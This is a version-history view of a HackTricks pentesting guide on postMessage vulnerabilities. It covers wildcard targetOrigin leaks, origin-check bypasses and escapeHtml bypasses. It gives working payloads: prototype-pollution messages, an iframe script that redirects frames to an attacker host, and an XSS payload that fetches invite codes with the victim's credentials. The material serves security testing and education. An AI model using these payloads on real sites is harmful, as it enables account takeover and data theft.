hacktricks/pentesting-web/postmessage-vulnerabilities.md

145 lines
7.1 KiB
Markdown
Raw Normal View History

2020-12-17 13:13:28 +00:00
# PostMessage Vulnerabilities
2021-10-04 21:42:12 +00:00
## Send **PostMessage**
2021-01-07 12:57:52 +00:00
**PostMessage** uses the following function to send a message:
2021-10-04 21:42:12 +00:00
```bash
2021-01-07 12:57:52 +00:00
targetWindow.postMessage(message, targetOrigin, [transfer]);
2021-10-04 21:42:12 +00:00
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
2021-10-04 21:42:12 +00:00
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
2021-01-07 12:57:52 +00:00
```
Note that **targetOrigin **can be a '\*' or an URL like _https://company.com._\
__In the **second scenario**, the **message can only be sent to that domain** (even if the origin of the window object is different). \
If the **wildcard **is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object.
2021-01-07 12:57:52 +00:00
### Attacking iframe & wilcard in **targetOrigin **
2021-01-07 12:57:52 +00:00
As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed **(no `X-Frame-Header` protection) and that is **sending sensitive **message via **postMessage **using a **wildcard **(\*), you can **modify **the **origin **of the **iframe **and **leak **the **sensitive **message to a domain controlled by you.\
Note that if the page can be iframed but the **targetOrigin **is** set to a URL and not to a wildcard**, this **trick won't work**.
2021-01-07 12:57:52 +00:00
```markup
<html>
2021-10-04 21:42:12 +00:00
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
2021-01-07 12:57:52 +00:00
</html>
```
## addEventListener exploitation
**`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\
2021-10-04 21:42:12 +00:00
A code similar to the following one will be used:
2021-01-07 12:57:52 +00:00
```javascript
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
```
Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important **mainly if the page is going to do** anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example).
2021-01-07 12:57:52 +00:00
### Enumeration
In order to **find event listeners **in the current page you can:
* **Search **the JS code for** **`window.addEventListener` and `$(window).on` (_JQuery version_)
* **Execute **in the developer tools console: `getEventListeners(window)`
![](<../.gitbook/assets/image (618) (1) (1).png>)
2020-12-17 13:13:28 +00:00
* **Go to **_Elements --> Event Listeners_ in the developer tools of the browser
![](<../.gitbook/assets/image (617).png>)
* Use a **browser extension **like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you.
### addEventListener check origin bypasses
2020-12-17 13:13:28 +00:00
* If **`indexOf()`** is used to **check **the **origin **of the PostMessage event, remember that it can be easily bypassed like in the following example: `("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\
* If **`search()`** is used to **validate **the **origin **could be insecure. According to the docs of `String.prototype.search()`, the method **takes a regular repression** object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.\
In regular expression, **a dot (.) is treated as a wildcard**. An attacker can take advantage of it and **use **a **special domain **instead of the official one to bypass the validation, like in: `"https://www.safedomain.com".search("www.s.fedomain.com")`.\
* If **`escapeHtml`** function is used, the function does not create a `new` escaped object, instead it **overwrites properties **of the existing object. This means that if we are able to create an object with a controlled property that does not respond to `hasOwnProperty` it will not be escaped.
2020-12-17 13:13:28 +00:00
```javascript
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
`File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function.
### X-Frame-Header bypass
In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent **that **behaviour**.\
In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### postMessage to Prototype Pollution and/or XSS
In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe **the **page **and **exploit **the **prototype pollution/XSS **sending the exploit via `postMessage`.
2021-10-22 10:16:40 +00:00
A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
2021-10-04 22:23:21 +00:00
Example of an exploit to abuse** Prototype Pollution and then XSS** through a `postMessage` to an `iframe`:
```markup
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
```
For **more information**:
2021-03-23 22:23:10 +00:00
2021-10-22 10:16:40 +00:00
* Link to page about [**prototype pollution**](deserialization/nodejs-proto-prototype-pollution/)****
* Link to page about [**XSS**](xss-cross-site-scripting/)****
2021-10-22 10:16:40 +00:00
* Link to page about [**client side prototype pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)****
2021-03-23 22:23:10 +00:00
## References
2021-03-23 22:23:10 +00:00
2021-10-22 10:16:40 +00:00
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)